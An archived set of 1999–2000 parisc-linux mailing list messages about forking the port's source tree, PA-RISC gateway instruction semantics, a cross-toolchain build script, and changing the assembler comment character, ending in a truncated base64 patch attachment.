On Wed, May 10, 2000 at 05:43:46PM -0700, Grant Grundler wrote:
> > I am going to try to set up a sourceforge.net project to keep my
> > modifications publicly-visible now;  while I'm not perfectly happy
> > with announcing anything before people can actually look at my code,
> > I couldn't think of any better way to do it.
> 
> I was somewhat (not totally) surprised by this. I had to think about
> several things before replying:
> o why are you unhappy with TPG's CVS tree?
> o why don't you want to talk publicly about it?
> o what is the effective impact?

> Hard Stuff:
> o Not sure about the net impact. TPG and HP folks will continue working
>   using TPG's tree.

> I'm pretty sure the debian release will be based on TPG's tree.

I doubt there is any reason to have two userspace trees as well - even
if it should happen for some reason they certainly shouldn't introduce
binary incompatibilities.

> o I don't understand why you are so unhappy with TPG's CVS tree.
>   Certainly there are design and implementation problems in that tree.
>   But such compromises are necessary for cooperation. Until we have

I believe the problems in TPG's tree are not sufficiently explained by
that.  In fact, while the resulting code's design and implementation are
bad, I don't think that the real issue is with the contributors' coding
skills.

> > I do not think this fork has to be a permanent one, though I can't
> > help thinking it is likely to be;
> 
> I suspect it will be too - working with others can be harder than
> working alone. But on a "project" of this scope, I don't see one
> person being successful.

Other Linux ports have been done (basically) by one person - maybe you
can't see _me_ being successful, and I'm not sure whether I disagree
yet.

OTOH, I don't really want to find out.  There are other persons around
that I hope might join me, and I have access to the changes in the TPG
tree.

	Philipp Rumpf


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Neufeld <neufeld@physics.utoronto.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 09:35:58 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <199903181435.JAA14215@caliban.physics.utoronto.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618913 32610 80.91.229.3 (22 Nov 2014 01:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:13 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: neufeld@caliban.physics.utoronto.ca  Thu Mar 18 09:36:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id JAA19455
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 09:36:05 -0500
Original-Received: (qmail 5521 invoked by uid 15267); 18 Mar 1999 14:35:22 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 5514 invoked from network); 18 Mar 1999 14:35:22 -0000
Original-Received: from caliban.physics.utoronto.ca (128.100.75.114)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 14:35:22 -0000
Original-Received: (from neufeld@localhost)
	by caliban.physics.utoronto.ca (8.9.2/8.8.8) id JAA14215
	for hppa-linux@thepuffingroup.com; Thu, 18 Mar 1999 09:35:58 -0500 (EST)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:7275

   Hello folks,

   I'm wondering if anybody's got a handle on how gateway instructions
are supposed to work. The instruction is designed to allow jumps into the
kernel, with privilege promotion, without invoking the cost of an
interrupt, by branching into a page and then taking on the privilege
level of the page. The only safety check seems to be in the "B" bit,
which would appear to prohibit the target of such a jump being, itself,
another jump.
   How does this work, now? Is the target of the gateway instruction
intended to be simply a vector table of other jumps, preceded by some
non-branch instruction which forms the taget of the gateway? After all,
if I am permitted to choose my entry point into a kernel function, I can
do bad things, at the very least crash the kernel, but also probably
subvert it quite easily. Access control seems to be limited to the page,
not forbidding jumps into other parts of the code within the same page.
And what is the "B" bit in the processor status supposed to do in all
this?
   Is there a misprint in the book (or a misunderstanding on my part)? If
the "B" bit produces an exception when the target of the gateway is _not_
another jump, then I can see how this can be easily constructed into a
vector table into kernel functions without compromising security.


-- 
 Christopher Neufeld                   neufeld@physics.utoronto.ca
 Home page:  http://caliban.physics.utoronto.ca/neufeld/Intro.html
 "Don't edit reality for the sake of simplicity"


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tree Issues
Date: Fri, 12 May 2000 15:49:07 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20000512154907.B19135@puffin.external.hp.com>
References: <1.5.4.32.20000511011641.006ef4a8@pop3.sprint.ca> <200005110506.WAA25197@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618913 32613 80.91.229.3 (22 Nov 2014 01:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>, Tomasz Korycki <tkorycki@sprint.ca>
Original-X-From: prumpf@puffin.external.hp.com  Fri May 12 15:49:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19560
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 May 2000 15:49:24 -0600
Original-Received: (qmail 30151 invoked by uid 15267); 12 May 2000 15:49:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30126 invoked from network); 12 May 2000 15:49:30 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 12 May 2000 15:49:30 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id PAA19554;
	Fri, 12 May 2000 15:49:07 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <200005110506.WAA25197@milano.cup.hp.com>; from Grant Grundler on Wed, May 10, 2000 at 10:06:27PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7276

On Wed, May 10, 2000 at 10:06:27PM -0700, Grant Grundler wrote:
> Tomasz Korycki wrote:
> I don't understand your question.
> I didn't have the impression Philipp was unsubscribing from parisc-linux
> mailing lists and ignoring us.

I wasn't :)

> He just wants a way to publish/manage his own CVS repository and allow
> others to look at it.

There is nothing strictly limiting it to a CVS repository - if seperate
mailing lists or something like that ever seem to make sense to me, I
will set them up.

That's basically why I went with sourceforge rather than accepting Paul's
linux-2.3-prumpf offer (thanks, anyway) - not depending on HP's continued
support, and having the option to move completely away from TPG's
resources.

	Philipp


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF tool chain builds hello world!!!
Date: Fri, 12 May 2000 15:29:27 -0600
Lines: 95
Approved: news@gmane.org
Message-ID: <E12qMzv-0006qV-00@endor.fc.hp.com>
References: <E12q1Hn-0008Kx-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618913 32617 80.91.229.3 (22 Nov 2014 01:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri May 12 15:31:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22080
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 May 2000 15:31:00 -0600
Original-Received: (qmail 9609 invoked by uid 15267); 12 May 2000 21:30:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9602 invoked from network); 12 May 2000 21:30:59 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 12 May 2000 21:30:59 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP id DCFBF466B
	for <parisc-linux@thepuffingroup.com>; Fri, 12 May 2000 17:29:28 -0400 (EDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 4850E4FE19
	for <parisc-linux@thepuffingroup.com>; Fri, 12 May 2000 17:29:28 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12qMzv-0006qV-00; Fri, 12 May 2000 15:29:27 -0600
In-reply-to: Your message of "Thu, 11 May 2000 16:18:27 MDT."
             <E12q1Hn-0008Kx-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7277


This recipe is a little better.  Remember it assumes /opt/puffin
contains the current cross compiler and /opt/puffin/include contains
the include.tar.gz tarball.


#!/bin/sh

set -e
set -x

# Where to put the built results
PREFIX=$HOME/xc

# Where your checked-out CVS sources live
SRC=$HOME/palinux

# Where your build sub-dirs go
BUILD=$HOME/xc-build

# Clean out and/or create some things
rm -fr $PREFIX/* $BUILD/build-gcc $BUILD/build-glibc
mkdir -p $PREFIX $BUILD/build-gcc -p $BUILD/build-glibc

PATH=$PREFIX/bin:/opt/puffin/bin:$PATH

# Allow the GCC configure step to auto-configure binutils
cd $SRC && rm -f gcc/binutils &&
    ln -s ../binutils gcc/binutils

# This'll mainly build binutils for now
cd $BUILD/build-gcc
$SRC/gcc/configure \
	--disable-nls \
	--disable-shared \
	--target=hppa1.1-linux \
	--host=i586-pc-linux-gnu \
	--prefix=$PREFIX \
	--with-headers=/opt/puffin/include \
	--with-libs=$PREFIX/lib \
	--with-libc

make || true

# build will fail inside gcc somewhere, don't stop the script for this

# Install binutils anyway
cd binutils; make install

# no need to re-make this again
rm $SRC/gcc/binutils

# Get ready to re-config gcc -- should build this time
cd $BUILD/build-gcc && rm -r *
$SRC/gcc/configure \
	--disable-nls \
	--disable-shared \
	--target=hppa1.1-linux \
	--host=i586-pc-linux-gnu \
	--prefix=$PREFIX \
	--with-headers=/opt/puffin/include \
	--with-libs=$PREFIX/lib \
	--with-libc
make
make install

cd $BUILD/build-glibc

$SRC/glibc/configure \
	--disable-nls \
	--without-nls \
	--disable-shared \
	--disable-profile \
	--enable-static-nss \
	--build=i586-linux \
	--host=hppa1.1-linux \
	--disable-sanity-checks \
	--with-headers=/opt/puffin/include \
	--prefix=$PREFIX

cd $BUILD/build-glibc
make || true # fails pretty soon

cp $SRC/glibc/csu/crt?.S csu/ || true

cd $(dirname $(find $PREFIX -name crtbegin.o))
ln -s $PREFIX/lib/* .

# Now you should be able to compile hello world

# The problem is that not all the headers seem to be available, in
# two categories: 1) some headers for example glibc/string/memory.h
# which ought to be installed as ...../include/string/memory.h, aren't
# and 2) things in <sys> like <sys/mount.h>


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF tool chain builds hello world!!!
Date: Fri, 12 May 2000 15:44:52 -0600
Lines: 95
Approved: news@gmane.org
Message-ID: <E12qNEq-0006rD-00@endor.fc.hp.com>
References: <E12qMzv-0006qV-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618914 32625 80.91.229.3 (22 Nov 2014 01:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri May 12 15:44:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22216
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 May 2000 15:44:55 -0600
Original-Received: (qmail 19907 invoked by uid 15267); 12 May 2000 21:44:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19892 invoked from network); 12 May 2000 21:44:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 12 May 2000 21:44:54 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel3.hp.com (Postfix) with ESMTP id 29CA1959
	for <parisc-linux@thepuffingroup.com>; Fri, 12 May 2000 14:44:53 -0700 (PDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id AAC024FE16
	for <parisc-linux@thepuffingroup.com>; Fri, 12 May 2000 17:44:52 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12qNEq-0006rD-00; Fri, 12 May 2000 15:44:52 -0600
In-reply-to: Your message of "Fri, 12 May 2000 15:29:27 MDT."
             <E12qMzv-0006qV-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7278


Tired of these yet?


#!/bin/sh

set -e
set -x

# Where to put the built results
PREFIX=$HOME/xc

# Where your checked-out CVS sources live
SRC=$HOME/palinux

# Where your build sub-dirs go
BUILD=$HOME/xc-build

# Clean out and/or create some things
rm -fr $PREFIX/* $BUILD/build-gcc $BUILD/build-glibc
mkdir -p $PREFIX $BUILD/build-gcc -p $BUILD/build-glibc

PATH=$PREFIX/bin:/opt/puffin/bin:$PATH

# Allow the GCC configure step to auto-configure binutils
cd $SRC && rm -f gcc/binutils &&
    ln -s ../binutils gcc/binutils

# This'll mainly build binutils for now
cd $BUILD/build-gcc
$SRC/gcc/configure \
	--disable-nls \
	--disable-shared \
	--target=hppa1.1-linux \
	--host=i586-pc-linux-gnu \
	--prefix=$PREFIX \
	--with-headers=/opt/puffin/include \
	--with-libs=$PREFIX/lib \
	--with-libc

make || true

# build will fail inside gcc somewhere, don't stop the script for this

# Install binutils anyway
cd binutils; make install

# no need to re-make this again
rm $SRC/gcc/binutils

# Get ready to re-config gcc -- should build this time
cd $BUILD/build-gcc && rm -r *
$SRC/gcc/configure \
	--disable-nls \
	--disable-shared \
	--target=hppa1.1-linux \
	--host=i586-pc-linux-gnu \
	--prefix=$PREFIX \
	--with-headers=/opt/puffin/include \
	--with-libs=$PREFIX/lib \
	--with-libc
make
make install

cd $BUILD/build-glibc

$SRC/glibc/configure \
	--disable-nls \
	--without-nls \
	--disable-shared \
	--disable-profile \
	--enable-static-nss \
	--build=i586-linux \
	--host=hppa1.1-linux \
	--disable-sanity-checks \
	--with-headers=/opt/puffin/include \
	--prefix=$PREFIX

cd $BUILD/build-glibc
make || true # fails pretty soon

cp $SRC/glibc/csu/crt?.S csu/ || true
make
make install MAKEINFO=

cd $(dirname $(find $PREFIX -name crtbegin.o))
ln -s $PREFIX/lib/* .

# Now you should be able to compile hello world

# The problem is that not all the headers seem to be available, in
# two categories: 1) some headers for example glibc/string/memory.h
# which ought to be installed as ...../include/string/memory.h, aren't
# and 2) things in <sys> like <sys/mount.h>


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc and the rest of the world
Date: Tue, 16 May 2000 17:34:22 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <E12rqr5-0000jH-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618914 32630 80.91.229.3 (22 Nov 2014 01:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Tue May 16 17:34:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA30110
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 May 2000 17:34:32 -0600
Original-Received: (qmail 1642 invoked by uid 15267); 16 May 2000 23:34:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1622 invoked from network); 16 May 2000 23:34:32 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 16 May 2000 23:34:32 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP id 80C65268
	for <parisc-linux@thepuffingroup.com>; Tue, 16 May 2000 19:34:32 -0400 (EDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 4846F4FD83
	for <parisc-linux@thepuffingroup.com>; Tue, 16 May 2000 18:34:32 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12rqr5-0000jH-00; Tue, 16 May 2000 17:34:27 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7279


Since we've changed the assembler comment character, we changed some
existing assembly files in glibc.  Since these changes were done in-place,
we will be unable to fold them back into the upstream sources since
most folks don't use our assembler.  I'm thinking we need a separate
set of linux/hppa files instead of modifying the existing generic hppa
ones but I don't know how to do this.  Comments?  Advice?

My real motivation is to be able to track the real glibc.  I think the
copy we have is flawed, and with our changes it's difficult to go
to a standard release, like 2.1.3 (which I'd love to do, then we
can use the Debian build) or keep up with recent changes.  Since I
changed some of those assembly files too, I'd like to clean
up my hackery a bit before getting much deeper in the mire.

	-Paul Bame


From - Thu Nov 08 21:12:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc and the rest of the world
Date: Wed, 17 May 2000 10:10:22 +1000 (EST)
Lines: 348
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005170945210.24914-102000@front.linuxcare.com.au>
References: <E12rqr5-0000jH-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="1024065794-666410647-958522222=:24914"
X-Trace: ger.gmane.org 1416618914 32632 80.91.229.3 (22 Nov 2014 01:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue May 16 18:12:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA30715
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 May 2000 18:12:15 -0600
Original-Received: (qmail 24980 invoked by uid 15267); 17 May 2000 00:12:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24954 invoked from network); 17 May 2000 00:12:19 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 17 May 2000 00:12:19 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA25456;
	Wed, 17 May 2000 10:10:22 +1000
In-Reply-To: <E12rqr5-0000jH-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7280

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--1024065794-666410647-958522222=:24914
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 16 May 2000, Paul Bame wrote:

> Since we've changed the assembler comment character, we changed some
> existing assembly files in glibc.  Since these changes were done in-place,
> we will be unable to fold them back into the upstream sources since
> most folks don't use our assembler.  I'm thinking we need a separate
> set of linux/hppa files instead of modifying the existing generic hppa
> ones but I don't know how to do this.  Comments?  Advice?

I think the assembler comment char change was a very bad idea, and it
would be better to go back to the standard for pa.  This may cause a
little pain now in modifying various sources, but it's not that hard;
I've attached a set of patches for the kernel and palo that use a `;!'
comment start to provide backward compatibility with existing tools.

Besides the incompatibility with existing hppa source, one serious
problem with `!' for a comment start is that it breaks floating-point
compare instruction conditions.  For instance

    fcmp,sgl,!<>  %fr4, %fr5

won't assemble using the current puffin cvs assembler.

I have yet to hear any reason to use `!' for comments.  Can we please go
back to `;'?

Alan Modra

-- 
Linuxcare.  Support for the Revolution.


--1024065794-666410647-958522222=:24914
Content-Type: APPLICATION/octet-stream; name="linux.diff.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0005171010220.24914@front.linuxcare.com.au>
Content-Description: 
Content-Disposition: attachment; filename="linux.diff.gz"

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
